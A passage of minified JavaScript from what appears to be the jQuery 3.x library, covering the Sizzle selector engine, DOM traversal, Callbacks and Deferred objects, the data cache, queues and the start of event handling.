f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c<b;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;c<b;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=c<0?c+b:c;--d>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function ra(){}ra.prototype=d.filters=d.pseudos,d.setFilters=new ra,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=Q.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P," ")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function sa(a){for(var b=0,c=a.length,d="";b<c;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c&&"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e);return!1}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)&&a(b,c,i))return!0}else while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),e&&e===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])&&j[0]===w&&j[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}return!1}}function ua(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d<e;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;h<i;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function xa(a,b,c,d,e,f){return d&&!d[u]&&(d=xa(d)),e&&!e[u]&&(e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i<f;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;e<f;e++)if(d.relative[a[e].type])break;return xa(i>1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i<e&&ya(a.slice(i,e)),e<f&&ya(a=a.slice(e)),e<f&&sa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b<d;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;b<d;b++)r.find(a,e[b],c);return d>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a<c;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof a&&r(a);if(!A.test(a))for(;d<e;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){r.each(b,function(b,c){r.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==r.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return r.each(arguments,function(a,b){var c;while((c=r.inArray(b,f,c))>-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b<f)){if(a=d.apply(h,i),a===c.promise())throw new TypeError("Thenable self-resolution");j=a&&("object"==typeof a||"function"==typeof a)&&a.then,r.isFunction(j)?e?j.call(a,g(f,c,N,e),g(f,c,O,e)):(f++,j.call(a,g(f,c,N,e),g(f,c,O,e),g(f,c,N,c.notifyWith))):(d!==N&&(h=void 0,i=[a]),(e||c.resolveWith)(h,i))}},k=e?j:function(){try{j()}catch(a){r.Deferred.exceptionHook&&r.Deferred.exceptionHook(a,k.stackTrace),b+1>=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S),
a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},U=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function V(){this.expando=r.expando+V.uid++}V.uid=1,V.prototype={cache:function(a){var b=a[this.expando];return b||(b={},U(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b&&"string"==typeof b&&void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){Array.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(L)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!r.isEmptyObject(b)}};var W=new V,X=new V,Y=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Z=/[A-Z]/g;function $(a){return"true"===a||"false"!==a&&("null"===a?null:a===+a+""?+a:Y.test(a)?JSON.parse(a):a)}function _(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Z,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c=$(c)}catch(e){}X.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return X.hasData(a)||W.hasData(a)},data:function(a,b,c){return X.access(a,b,c)},removeData:function(a,b){X.remove(a,b)},_data:function(a,b,c){return W.access(a,b,c)},_removeData:function(a,b){W.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=X.get(f),1===f.nodeType&&!W.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=r.camelCase(d.slice(5)),_(f,d,e[d])));W.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){X.set(this,a)}):T(this,function(b){var c;if(f&&void 0===b){if(c=X.get(f,a),void 0!==c)return c;if(c=_(f,a),void 0!==c)return c}else this.each(function(){X.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=W.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var aa=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ba=new RegExp("^(?:([+-])=|)("+aa+")([a-z%]*)$","i"),ca=["Top","Right","Bottom","Left"],da=function(a,b){return a=b||a,"none"===a.style.display||""===a.style.display&&r.contains(a.ownerDocument,a)&&"none"===r.css(a,"display")},ea=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function fa(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,"")},i=h(),j=c&&c[3]||(r.cssNumber[b]?"":"px"),k=(r.cssNumber[b]||"px"!==j&&+i)&&ba.exec(r.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var ga={};function ha(a){var b,c=a.ownerDocument,d=a.nodeName,e=ga[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,"display"),b.parentNode.removeChild(b),"none"===e&&(e="block"),ga[d]=e,e)}function ia(a,b){for(var c,d,e=[],f=0,g=a.length;f<g;f++)d=a[f],d.style&&(c=d.style.display,b?("none"===c&&(e[f]=W.get(d,"display")||null,e[f]||(d.style.display="")),""===d.style.display&&da(d)&&(e[f]=ha(d))):"none"!==c&&(e[f]="none",W.set(d,"display",c)));for(f=0;f<g;f++)null!=e[f]&&(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ia(this,!0)},hide:function(){return ia(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){da(this)?r(this).show():r(this).hide()})}});var ja=/^(?:checkbox|radio)$/i,ka=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c<d;c++)W.set(a[c],"globalEval",!b||W.get(b[c],"globalEval"))}var pa=/<|&#?\w+;/;function qa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n<o;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(pa.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ka.exec(f)||["",""])[1].toLowerCase(),i=ma[h]||ma._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(d&&r.inArray(f,d)>-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c<arguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])&&!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])&&!b.isImmediatePropagationStopped())b.rnamespace&&!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(b.result=e)===!1&&(b.preventDefault(),b.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var c,d,e,f,g,h=[],i=b.delegateCount,j=a.target;if(i&&j.nodeType&&!("click"===a.type&&a.button>=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c<i;c++)d=b[c],e=d.selector+" ",void 